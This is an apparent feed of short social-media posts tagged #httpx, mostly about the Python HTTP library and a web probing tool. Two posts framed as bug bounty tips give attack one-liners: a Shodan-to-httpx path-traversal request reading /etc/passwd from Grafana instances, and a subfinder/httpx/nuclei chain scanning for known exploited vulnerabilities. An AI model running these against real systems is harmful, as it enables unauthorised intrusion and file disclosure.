SecurityOnline: httpx v1.3.4 releases: fast and multi-purpose HTTP toolkit https://securityonline.info/httpx-fast-and-multi-purpose-http-toolkit/ #WebInformationGathering #httpx
#webinformationgathering #httpx
This time I used #httpx for session handling as I wanted to give it a go, and #selectolax to extract the relevant image tags. I then used httpx to download the files to a "newest" directory.
@jvanderaa I do love what #nornir brings to the table but I find myself not using it much these days because I'm enjoying async via #scrapli & #httpx more and more. Combined with #pynetbox or #pynautobot (outside the event loop) for the inventory, it's fairly easy to get things done in a modular way. Nornir is still in the toolbox - and I always recommend it to #NetEng people newer to automation/Python.
#nornir #Scrapli #httpx #pynetbox #pynautobot #neteng
I am surprised that using the built-in `urllib,request.urlopen` in a executor to make async web requests seems to perform consistently faster than the `AsyncClient` implementation in httpx. The first solution, that looks hackish, can be seen here: https://github.com/Neoteroi/BlackSheep/blob/main/blacksheep/utils/aio.py (results of %timeit in the picture below).
#Gentoo #Python packaging fun: #starlette requires httpx and python-multipart, #httpx requires multipart (and both are part of the same organization on GitHub). python-multipart and multipart are two packages colliding over multipart module/package, so they cannot be installed simultaneously.
#gentoo #python #starlette #httpx
Bounty hunting for vulnerable #Grafana instances on Shodan
shodan search org:[TARGET] | awk '{print $1}' | httpx -path "/public/plugins/graph/../../../../../../../../etc/passwd" -status-code -mc 200 -ms 'root:x'
#grafana #bugbounty #bugbountytips #exploitation #shodan #httpx
Scanning for CISA Top exploited vulnerabilities
subfinder -d site.com -all -silent | httpx -silent | nuclei -rl 50 -c 15 -timeout 10 -tags cisa -vv
https://github.com/projectdiscovery/subfinder
https://github.com/projectdiscovery/httpx
https://github.com/projectdiscovery/nuclei
https://github.com/projectdiscovery/nuclei-templates
#bugbounty #bugbountytips #subfinder #nuclei #httpx #cisa
#bugbounty #bugbountytips #subfinder #nuclei #httpx #cisa
RT @florimondmanca@twitter.com
Just released v0.1 of `aiometer`: a concurrency schedling library for #Python, compatible w/ asyncio + trio.
Usesful for client-side rate limiting and other #backpressure patterns…
👉 https://github.com/florimondmanca/aiometer
Example below: throttled concurrent web requests with #HTTPX 🦋✨
🐦🔗: https://twitter.com/florimondmanca/status/1241492953492848640